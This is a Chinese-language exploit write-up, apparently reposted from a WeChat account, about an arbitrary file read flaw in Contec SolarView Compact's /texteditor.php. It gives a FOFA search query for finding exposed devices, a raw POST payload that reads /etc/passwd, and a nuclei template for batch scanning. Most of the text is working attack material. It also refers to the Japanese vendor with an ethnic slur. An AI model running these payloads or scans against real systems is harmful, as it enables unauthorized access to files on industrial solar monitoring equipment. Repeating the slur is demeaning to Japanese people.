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漏洞描述

Contec SolarView Compact是小日本Contec公司的一个提供光伏发电测量的应用系统。Contec SolarView Compact系统/texteditor.php接口处存在任意文件读取漏洞，攻击者可以利用此漏洞获取系统敏感文件。

fofa语句

body="SolarView Compact" && title="Top"

漏洞复现

打开页面

构造payload

directory=目录路径&file=文件名

POST /texteditor.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 120
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

directory=%2Fetc%2F&file=passwd&open=%8AJ%82%AD&r_charset=none&newfile=&contents=&w_charset=none&w_delimit=lf&editfile= 

nuclei批量验证

id: Contec-SolarView-Compact-file-Reading

info:
  name: Contec SolarView Compact 存在任意文件读取漏洞
  author: changge
  severity: high
  description: |
    Contec SolarView Compact 存在任意文件读取漏洞
  metadata:
    fofa-query: body="SolarView Compact" && title="Top"
  reference:
    - https://127.0.0.1
  tags: auto

http:
  - raw:
      - |
        POST /texteditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Content-Length: 119

        directory=%2Fetc%2F&file=passwd&open=%8AJ%82%AD&r_charset=none&newfile=&contents=&w_charset=none&w_delimit=lf&editfile= 


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:"
      - type: status
        status:
          - 200

github poc总汇地址：https://github.com/AYcg/poc

原文始发于微信公众号（AY长歌）：Contec SolarView Compact 存在任意文件读取漏洞